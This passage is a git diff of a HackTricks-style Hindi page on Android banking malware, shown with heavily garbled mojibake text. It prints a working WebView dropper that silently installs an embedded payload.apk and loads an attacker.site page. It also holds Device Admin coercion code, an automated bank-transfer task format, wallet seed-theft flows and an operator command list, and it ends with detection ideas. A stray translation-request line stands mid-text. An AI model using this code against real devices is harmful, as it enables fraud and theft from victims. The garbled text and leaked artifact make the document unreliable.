+@Override protected void onCreate(Bundle b){
+super.onCreate(b);
+WebView wv = new WebView(this);
+wv.getSettings().setJavaScriptEnabled(true);
+wv.addJavascriptInterface(new Object(){
+@android.webkit.JavascriptInterface
+public void installApk(){
+try {
+PackageInstaller pi = getPackageManager().getPackageInstaller();
+PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
+int id = pi.createSession(p);
+try (PackageInstaller.Session s = pi.openSession(id);
+InputStream in = getAssets().open("payload.apk");
+OutputStream out = s.openWrite("base.apk", 0, -1)){
+byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
+}
+PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
+pi.commit(id, status.getIntentSender());
+} catch (Exception e) { /* log */ }
+}
+}, "bridge");
+setContentView(wv);
+wv.loadUrl("https://attacker.site/install.html");
+}
+}
+```
+Please paste the HTML/markdown content you want translated (the file or page contents).
+```html
+
+```
+рдЗрдВрд╕реНрдЯреЙрд▓ рдХреЗ рдмрд╛рдж, dropper explicit package/activity рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ payload рдХреЛ рд╢реБрд░реВ рдХрд░рддрд╛ рд╣реИ:
+```java
+Intent i = new Intent();
+i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
+startActivity(i);
+```
+Hunting idea: untrusted apps calling `addJavascriptInterface()` and exposing installer-like methods to WebView; APK shipping an embedded secondary payload under `assets/` and invoking the Package Installer Session API.
+
+### рд╕реНрд╡реАрдХреГрддрд┐ рдлрд╝рдирд▓: Accessibility + Device Admin + follow-on runtime prompts
+Stage-2 рдПрдХ WebView рдЦреЛрд▓рддрд╛ рд╣реИ рдЬреЛ тАЬAccessтАЭ рдкреЗрдЬ рд╣реЛрд╕реНрдЯ рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдмрдЯрди рдПрдХ exported method рдХреЛ invoke рдХрд░рддрд╛ рд╣реИ рдЬреЛ рд╡рд┐рдХреНрдЯрд┐рдо рдХреЛ Accessibility settings рдкрд░ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХрд░рдХреЗ rogue service рдХреЛ enable рдХрд░рдиреЗ рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рддрд╛ рд╣реИред рдПрдХ рдмрд╛рд░ рдЕрдиреБрдорддрд┐ рдорд┐рд▓рдиреЗ рдкрд░, malware Accessibility рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрд╛рдж рдХреЗ runtime permission dialogs (contacts, overlay, manage system settings, etc.) рдореЗрдВ auto-click рдХрд░рдХреЗ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рд╡рд╛ рджреЗрддрд╛ рд╣реИ рдФрд░ Device Admin рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рдХрд░рддрд╛ рд╣реИред
+
+- Accessibility рдкреНрд░реЛрдЧреНрд░рд╛рдореЗрдЯрд┐рдХрд▓реА рдмрд╛рдж рдХреЗ prompts рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИ тАФ node-tree рдореЗрдВ тАЬAllowтАЭ/тАЬOKтАЭ рдЬреИрд╕реЗ рдмрдЯрди рдвреВрдВрдврдХрд░ рдФрд░ рдЙрди рдкрд░ рдХреНрд▓рд┐рдХ рднреЗрдЬрдХрд░ред
+- Overlay permission check/request:
+```java
+if (!Settings.canDrawOverlays(ctx)) {
+Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
+Uri.parse("package:" + ctx.getPackageName()));
+ctx.startActivity(i);
+}
+```
+рдЗрдиреНрд╣реЗрдВ рднреА рджреЗрдЦреЗрдВ:
+
+{{#ref}}
+../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
+{{#endref}}
+
+### Overlay phishing/ransom (WebView рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ)
+рдСрдкрд░реЗрдЯрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдЬрд╛рд░реА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
+- рдПрдХ URL рд╕реЗ рдкреВрд░реНрдг-рд╕реНрдХреНрд░реАрди рдУрд╡рд░рд▓реЗ рд░реЗрдВрдбрд░ рдХрд░рдирд╛, рдпрд╛
+- рдЗрдирд▓рд╛рдЗрди HTML рдкрд╛рд╕ рдХрд░рдирд╛ рдЬрд┐рд╕реЗ WebView рдУрд╡рд░рд▓реЗ рдореЗрдВ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рдПред
+
+рд╕рдВрднрд╛рд╡рд┐рдд рдЙрдкрдпреЛрдЧ: coercion (PIN entry), wallet рдЦреЛрд▓рдХрд░ PIN рдХреИрдкреНрдЪрд░ рдХрд░рдирд╛, ransom рд╕рдВрджреЗрд╢ рднреЗрдЬрдирд╛ред рдпрджрд┐ рдУрд╡рд░рд▓реЗ рдЕрдиреБрдорддрд┐ рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИ рддреЛ рдЙрд╕реЗ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдХрдорд╛рдВрдб рд░рдЦреЗрдВред
+
+### Remote control model тАУ text pseudo-screen + screen-cast
+- рдХрдо-рдмреИрдВрдбрд╡рд┐рдбреНрде: Accessibility node tree рдХреЛ рдЖрд╡рдзрд┐рдХ рд░реВрдк рд╕реЗ dump рдХрд░реЗрдВ, рджрд┐рдЦрд╛рдИ рджреЗрдиреЗ рд╡рд╛рд▓реЗ texts/roles/bounds рдХреЛ serialize рдХрд░реЗрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ pseudo-screen рдХреЗ рд░реВрдк рдореЗрдВ C2 рдкрд░ рднреЗрдЬреЗрдВ (commands like `txt_screen` once and `screen_live` continuous)ред
+- рдЙрдЪреНрдЪ-рдирд┐рд╖реНрдард╛: MediaProjection рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░реЗрдВ рдФрд░ рдорд╛рдВрдЧ рдкрд░ screen-casting/recording рд╢реБрд░реВ рдХрд░реЗрдВ (commands like `display` / `record`)ред
+
+### ATS playbook (bank app automation)
+рдПрдХ JSON task рджрд┐рдП рдЬрд╛рдиреЗ рдкрд░, рдмреИрдВрдХ рдРрдк рдЦреЛрд▓реЗрдВ, Accessibility рдХреЗ рдЬрд░рд┐рдП UI рдХреЛ text queries рдФрд░ coordinate taps рдХреЗ рдорд┐рд╢реНрд░рдг рд╕реЗ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░реЗрдВ, рдФрд░ рд╕рдВрдХреЗрдд рдорд┐рд▓рдиреЗ рдкрд░ рдкреАрдбрд╝рд┐рдд рдХрд╛ payment PIN рджрд░реНрдЬ рдХрд░реЗрдВред
+
+Example task:
+```json
+{
+"cmd": "transfer",
+"receiver_address": "ACME s.r.o.",
+"account": "123456789/0100",
+"amount": "24500.00",
+"name": "ACME"
+}
+```
+Example texts seen in one target flow (CZ тЖТ EN):
+- "Nov├б platba" тЖТ "рдирдпрд╛ рднреБрдЧрддрд╛рди"
+- "Zadat platbu" тЖТ "рднреБрдЧрддрд╛рди рджрд░реНрдЬ рдХрд░реЗрдВ"
+- "Nov├╜ p┼Щ├нjemce" тЖТ "рдирдпрд╛ рдкреНрд░рд╛рдкреНрддрдХрд░реНрддрд╛"
+- "Dom├бc├н ─Н├нslo ├║─Нtu" тЖТ "рдШрд░реЗрд▓реВ рдЦрд╛рддрд╛ рд╕рдВрдЦреНрдпрд╛"
+- "Dal┼б├н" тЖТ "рдЕрдЧрд▓рд╛"
+- "Odeslat" тЖТ "рднреЗрдЬреЗрдВ"
+- "Ano, pokra─Нovat" тЖТ "рд╣рд╛рдБ, рдЬрд╛рд░реА рд░рдЦреЗрдВ"
+- "Zaplatit" тЖТ "рднреБрдЧрддрд╛рди рдХрд░реЗрдВ"
+- "Hotovo" тЖТ "рд╣реЛ рдЧрдпрд╛"
+
+рдСрдкрд░реЗрдЯрд░реНрд╕ `check_limit` рдФрд░ `limit` рдЬреИрд╕реЗ рдХрдорд╛рдВрдб рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЯреНрд░рд╛рдВрд╕рдлрд░ рд╕реАрдорд╛рдПрдБ рднреА рдЪреЗрдХ/рдмрдврд╝рд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ limits UI рдореЗрдВ рд╕рдорд╛рди рд░реВрдк рд╕реЗ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХрд░рддреЗ рд╣реИрдВред
+
+### Crypto wallet seed extraction
+Targets рдЬреИрд╕реЗ MetaMask, Trust Wallet, Blockchain.com, Phantomред Flow: unlock (stolen PIN or provided password), navigate to Security/Recovery, reveal/show seed phrase, keylog/exfiltrate itред рдиреЗрд╡рд┐рдЧреЗрд╢рди рдХреЛ рд╡рд┐рднрд┐рдиреНрди рднрд╛рд╖рд╛рдУрдВ рдореЗрдВ рд╕реНрдерд┐рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП locale-aware selectors (EN/RU/CZ/SK) рд▓рд╛рдЧреВ рдХрд░реЗрдВред
+
+### Device Admin coercion
+Device Admin APIs рдХрд╛ рдЙрдкрдпреЛрдЧ PIN-capture рдХреЗ рдЕрд╡рд╕рд░ рдмрдврд╝рд╛рдиреЗ рдФрд░ рдкреАрдбрд╝рд┐рдд рдХреЛ рдкрд░реЗрд╢рд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:
+
+- рддрддреНрдХрд╛рд▓ рд▓реЙрдХ:
+```java
+dpm.lockNow();
+```
+- рд╡рд░реНрддрдорд╛рди credential рдХреА рдЕрд╡рдзрд┐ рд╕рдорд╛рдкреНрдд рдХрд░реЗрдВ рддрд╛рдХрд┐ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╛рдзреНрдп рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ (Accessibility рдирдП PIN/password рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░рддрд╛ рд╣реИ):
+```java
+dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
+```
+- keyguard рдмрд╛рдпреЛрдореЗрдЯреНрд░рд┐рдХ рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдХреЗ рдЧреИрд░-рдмрд╛рдпреЛрдореЗрдЯреНрд░рд┐рдХ рдЕрдирд▓реЙрдХ рдХреЛ рдордЬрдмреВрд░ рдХрд░реЗрдВ:
+```java
+dpm.setKeyguardDisabledFeatures(admin,
+DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
+DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
+```
+Note: Many DevicePolicyManager controls require Device Owner/Profile Owner on recent Android; some OEM builds may be lax. Always validate on target OS/OEM.
+
+### NFC рд░рд┐рд▓реЗ рд╕рдордиреНрд╡рдп (NFSkate)
+Stage-3 can install and launch an external NFC-relay module (e.g., NFSkate) and even hand it an HTML template to guide the victim during the relay. This enables contactless card-present cash-out alongside online ATS.
+
+Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
+
+### Operator command set (sample)
+- UI/state: `txt_screen`, `screen_live`, `display`, `record`
+- Social: `send_push`, `Facebook`, `WhatsApp`
+- Overlays: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
+- Wallets: `metamask`, `trust`, `blockchain`, `phantom`
+- ATS: `transfer`, `check_limit`, `limit`
+- Device: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
+- Comms/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
+- NFC: `nfs`, `nfs_inject`
+
+### Detection & defence ideas (RatOn-style)
+- WebViews рдореЗрдВ `addJavascriptInterface()` рд╡рд╛рд▓реЗ рдкреЗрдЬреЛрдВ рдХреА рддрд▓рд╛рд╢ рдХрд░реЗрдВ рдЬреЛ installer/permission methods рдХреЛ рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд░рддреЗ рд╣реИрдВ; рдРрд╕реЗ рдкреЗрдЬ рдЬреЛ тАЬ/accessтАЭ рдкрд░ рд╕рдорд╛рдкреНрдд рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ Accessibility prompts рдЯреНрд░рд┐рдЧрд░ рдХрд░рддреЗ рд╣реИрдВред
+- рдЙрди рдРрдкреНрд╕ рдкрд░ рдЕрд▓рд░реНрдЯ рдХрд░реЗрдВ рдЬреЛ service access рджрд┐рдП рдЬрд╛рдиреЗ рдХреЗ рддреБрд░рдВрдд рдмрд╛рдж high-rate Accessibility gestures/clicks рдЬрдирд░реЗрдЯ рдХрд░рддреЗ рд╣реИрдВ; telemetry рдЬреЛ Accessibility node dumps рдЬреИрд╕реА рджрд┐рдЦрддреА рд╣реИ рдФрд░ C2 рдХреЛ рднреЗрдЬреА рдЬрд╛рддреА рд╣реИред
+- рдЕрдирдЯреНрд░рд╕реНрдЯреЗрдб рдРрдкреНрд╕ рдореЗрдВ Device Admin policy рдмрджрд▓рд╛рд╡реЛрдВ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░реЗрдВ: `lockNow`, password expiration, keyguard feature togglesред
+- non-corporate apps рд╕реЗ MediaProjection prompts рдкрд░ рдФрд░ рдЙрд╕рдХреЗ рдмрд╛рдж periodic frame uploads рдкрд░ рдЕрд▓рд░реНрдЯ рдХрд░реЗрдВред
+- рдХрд┐рд╕реА рдРрдк рджреНрд╡рд╛рд░рд╛ рдЯреНрд░рд┐рдЧрд░ рдХрд┐рдП рдЧрдП external NFC-relay app рдХреА installation/launch рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдПрдВред
+- рдмреИрдВрдХрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП: out-of-band confirmations, biometrics-binding, рдФрд░ on-device automation рдХреЗ рдкреНрд░рддрд┐ resistant transaction-limits рд▓рд╛рдЧреВ рдХрд░реЗрдВред
+
## рд╕рдВрджрд░реНрдн
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
- [Luban тАУ Android image compression library](https://github.com/Curzibn/Luban)
- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
- [Firebase Cloud Messaging тАФ Docs](https://firebase.google.com/docs/cloud-messaging)
+- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
+- [GhostTap/NFSkate тАУ NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md b/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
index 82147f875..e68a03c19 100644
--- a/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
+++ b/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
@@ -2,23 +2,23 @@
{{#include ../../banners/hacktricks-training.md}}
-## Overview
+## рдЕрд╡рд▓реЛрдХрди
-`AccessibilityService` рдХреЛ рд╡рд┐рдХрд▓рд╛рдВрдЧрддрд╛ рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ Android рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛ред рджреБрд░реНрднрд╛рдЧреНрдпрд╡рд╢, рд╡рд╣реА **рд╢рдХреНрддрд┐рд╢рд╛рд▓реА рдСрдЯреЛрдореЗрд╢рди APIs** (рд╡реИрд╢реНрд╡рд┐рдХ рдиреЗрд╡рд┐рдЧреЗрд╢рди, рдкрд╛рда рдЗрдирдкреБрдЯ, рдЗрд╢рд╛рд░рд╛ рд╡рд┐рддрд░рдг, рдУрд╡рд░рд▓реЗ рд╡рд┐рдВрдбреЛрдЬтАж) рдХреЛ рдореИрд▓рд╡реЗрдпрд░ рджреНрд╡рд╛рд░рд╛ рд╣рдерд┐рдпрд╛рд░ рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ _рд░реВрдЯ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рдмрд┐рдирд╛_ рд╣реИрдВрдбрд╕реЗрдЯ рдХрд╛ **рдкреВрд░реНрдг рджреВрд░рд╕реНрде рдирд┐рдпрдВрддреНрд░рдг** рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред
+`AccessibilityService` рдХреЛ рд╡рд┐рдХрд▓рд╛рдВрдЧрддрд╛рдУрдВ рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ Android рдбрд┐рд╡рд╛рдЗрд╕ рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛ред рджреБрд░реНрднрд╛рдЧреНрдп рд╕реЗ, рд╡рд╣реА **powerful automation APIs** (global navigation, text input, gesture dispatch, overlay windowsтАж) рдорд╛рд▓рд╡реЗрдпрд░ рджреНрд╡рд╛рд░рд╛ рд╣рдерд┐рдпрд╛рд░рдмрдВрдж рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдмрд┐рдирд╛ рд░реВрдЯ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╣реИрдВрдбрд╕реЗрдЯ рдкрд░ **complete remote control** рд╣рд╛рд╕рд┐рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред
-рдЖрдзреБрдирд┐рдХ Android рдмреИрдВрдХрд┐рдВрдЧ рдЯреНрд░реЛрдЬрди рдФрд░ рд░рд┐рдореЛрдЯ-рдПрдХреНрд╕реЗрд╕-рдЯреНрд░реЛрдЬрди (RATs) рдЬреИрд╕реЗ **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** рдФрд░ рдХрдИ рдЕрдиреНрдп рдЗрд╕реА рдиреБрд╕реНрдЦреЗ рдХрд╛ рдкрд╛рд▓рди рдХрд░рддреЗ рд╣реИрдВ:
+рдЖрдзреБрдирд┐рдХ Android рдмреИрдВрдХрд┐рдВрдЧ рдЯреНрд░реЛрдЬрди рдФрд░ Remote-Access-Trojans (RATs) рдЬреИрд╕реЗ **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** рдФрд░ рдХрдИ рдЕрдиреНрдп рд╕рдорд╛рди рдиреБрд╕реНрдЦрд╛ рдЕрдкрдирд╛рддреЗ рд╣реИрдВ:
-1. рдкреАрдбрд╝рд┐рдд рдХреЛ рдПрдХ рдзреЛрдЦрд╛рдзрдбрд╝реА рдПрдХреНрд╕реЗрд╕рд┐рдмрд┐рд▓рд┐рдЯреА рд╕реЗрд╡рд╛ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд╛рдорд╛рдЬрд┐рдХ-рдЗрдВрдЬреАрдирд┐рдпрд░ рдХрд░реЗрдВ ( *BIND_ACCESSIBILITY_SERVICE* рдЕрдиреБрдорддрд┐ рдХреЛ "рдЙрдЪреНрдЪ-рдЬреЛрдЦрд┐рдо" рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реНрдкрд╖реНрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреНрд░рд┐рдпрд╛ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ)ред
-2. рд╕реЗрд╡рд╛ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдПрдВ рддрд╛рдХрд┐
-* рд╕реНрдХреНрд░реАрди рдкрд░ рджрд┐рдЦрд╛рдИ рджреЗрдиреЗ рд╡рд╛рд▓реЗ рд╣рд░ UI рдЗрд╡реЗрдВрдЯ рдФрд░ рдкрд╛рда рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░реЗрдВ,
-* рдХрд┐рд╕реА рднреА рдХрд╛рд░реНрдп рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреГрддреНрд░рд┐рдо рдЗрд╢рд╛рд░реЛрдВ (`dispatchGesture`) рдФрд░ рд╡реИрд╢реНрд╡рд┐рдХ рдХреНрд░рд┐рдпрд╛рдУрдВ (`performGlobalAction`) рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░реЗрдВ,
-* **TYPE_ACCESSIBILITY_OVERLAY** рд╡рд┐рдВрдбреЛ рдкреНрд░рдХрд╛рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡реИрдз рдРрдкреНрд╕ рдХреЗ рд╢реАрд░реНрд╖ рдкрд░ рдкреВрд░реНрдг-рд╕реНрдХреНрд░реАрди рдУрд╡рд░рд▓реЗ рдЦреАрдВрдЪреЗрдВ (рдХреЛрдИ `SYSTEM_ALERT_WINDOW` рдкреНрд░реЙрдореНрдкреНрдЯ рдирд╣реАрдВ!),
-* рдкреАрдбрд╝рд┐рдд рдХреА рдУрд░ рд╕реЗ рд╕рд┐рд╕реНрдЯрдо рдбрд╛рдпрд▓реЙрдЧ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд рд░рдирдЯрд╛рдЗрдо рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдЪреБрдкрдЪрд╛рдк рдкреНрд░рджрд╛рди рдХрд░реЗрдВред
-3. рдбреЗрдЯрд╛ рдХреЛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░реЗрдВ рдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╕рд╛рдорд╛рдиреНрдп рд╕реНрдХреНрд░реАрди рдХреЛ рджреЗрдЦрддреЗ рд╕рдордп рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдордп рдореЗрдВ **On-Device-Fraud (ODF)** рдХрд░реЗрдВред
+1. Social-engineer рдХрд░ рдХреЗ рдкреАрдбрд╝рд┐рдд рдХреЛ рдПрдХ rogue accessibility service рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░реЗрд░рд┐рдд рдХрд░рдирд╛ (the *BIND_ACCESSIBILITY_SERVICE* permission рдХреЛ "high-risk" рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рд╕реНрдкрд╖реНрдЯ рдХреНрд░рд┐рдпрд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реЛрддреА рд╣реИ)ред
+2. рд╕реЗрд╡рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ
+* рд╕реНрдХреНрд░реАрди рдкрд░ рджрд┐рдЦрд╛рдИ рджреЗрдиреЗ рд╡рд╛рд▓реЗ рд╣рд░ UI рдЗрд╡реЗрдВрдЯ рдФрд░ рдЯреЗрдХреНрд╕реНрдЯ рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░рдирд╛,
+* рд╕рд┐рдВрдереЗрдЯрд┐рдХ gestures (`dispatchGesture`) рдФрд░ global actions (`performGlobalAction`) рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдХреЗ рдСрдкрд░реЗрдЯрд░ рдХреА рдЗрдЪреНрдЫрд┐рдд рдХрд┐рд╕реА рднреА рдХрд╛рд░реНрдп рдХреЛ рдСрдЯреЛрдореЗрдЯ рдХрд░рдирд╛,
+* рд╡реИрдз apps рдХреЗ рдКрдкрд░ full-screen overlays рдЦреАрдВрдЪрдирд╛ **TYPE_ACCESSIBILITY_OVERLAY** window type рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ (рдХреЛрдИ `SYSTEM_ALERT_WINDOW` prompt рдирд╣реАрдВ!),
+* рдкреАрдбрд╝рд┐рдд рдХреА рдУрд░ рд╕реЗ рд╕рд┐рд╕реНрдЯрдо рдбрд╛рдпрд▓реЙрдЧреНрд╕ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд runtime permissions рдЪреБрдкрдХреЗ рд╕реЗ_GRANTED_ рдХрд░рдирд╛ред
+3. рдбреЗрдЯрд╛ рдХреЛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░рдирд╛ рдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдПрдХ рдмрд┐рд▓реНрдХреБрд▓ рд╕рд╛рдорд╛рдиреНрдп рд╕реНрдХреНрд░реАрди рджреЗрдЦ рд░рд╣реЗ рд╣реЛрдиреЗ рдХреЗ рджреМрд░рд╛рди рд░реАрдпрд▓-рдЯрд╛рдЗрдо рдореЗрдВ **On-Device-Fraud (ODF)** рдХрд░рдирд╛ред
---
-## Requesting the permission
+## рдЕрдиреБрдорддрд┐ рдХрд╛ рдЕрдиреБрд░реЛрдз
```xml
android:resource="@xml/evil_accessibility_config"/>
```
-рд╕рд╛рдереА XML рдпрд╣ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдирдХрд▓реА рд╕рдВрд╡рд╛рдж рдХреИрд╕рд╛ рджрд┐рдЦреЗрдЧрд╛:
+рд╕рд╣рд╛рдпрдХ XML рдпрд╣ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдирдХрд▓реА рдбрд╛рдпрд▓реЙрдЧ рдХреИрд╕рд╛ рджрд┐рдЦреЗрдЧрд╛:
```xml
```
---
-## рд░рд┐рдореЛрдЯ UI рд╕реНрд╡рдЪрд╛рд▓рди рдкреНрд░рд╛рдердорд┐рдХрддрд╛рдПрдБ
+## рджреВрд░рд╕реНрде UI рдСрдЯреЛрдореЗрд╢рди рдореВрд▓рднреВрдд рддрддреНрд╡
```java
public class EvilService extends AccessibilityService {
@Override
@@ -68,17 +68,17 @@ dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, nul
}
}
```
-рдЗрди рджреЛ APIs рдХреЗ рд╕рд╛рде, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ:
-* рд╕реНрдХреНрд░реАрди рдХреЛ рдЕрдирд▓реЙрдХ рдХрд░реЗрдВ, рдмреИрдВрдХрд┐рдВрдЧ рдРрдк рдЦреЛрд▓реЗрдВ, рдЗрд╕рдХреЗ UI рдкреЗрдбрд╝ рдореЗрдВ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХрд░реЗрдВ рдФрд░ рдПрдХ рдЯреНрд░рд╛рдВрд╕рдлрд░ рдлреЙрд░реНрдо рд╕рдмрдорд┐рдЯ рдХрд░реЗрдВред
-* рд╣рд░ рдЕрдиреБрдорддрд┐ рд╕рдВрд╡рд╛рдж рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░реЗрдВ рдЬреЛ рдкреЙрдк рдЕрдк рд╣реЛрддрд╛ рд╣реИред
-* рдкреНрд▓реЗ рд╕реНрдЯреЛрд░ рдЗрд░рд╛рджреЗ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрддрд┐рд░рд┐рдХреНрдд APKs рд╕реНрдерд╛рдкрд┐рдд/рдЕрдкрдбреЗрдЯ рдХрд░реЗрдВред
+рдХреЗрд╡рд▓ рдЗрди рджреЛ APIs рдХреЗ рд╕рд╛рде рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ:
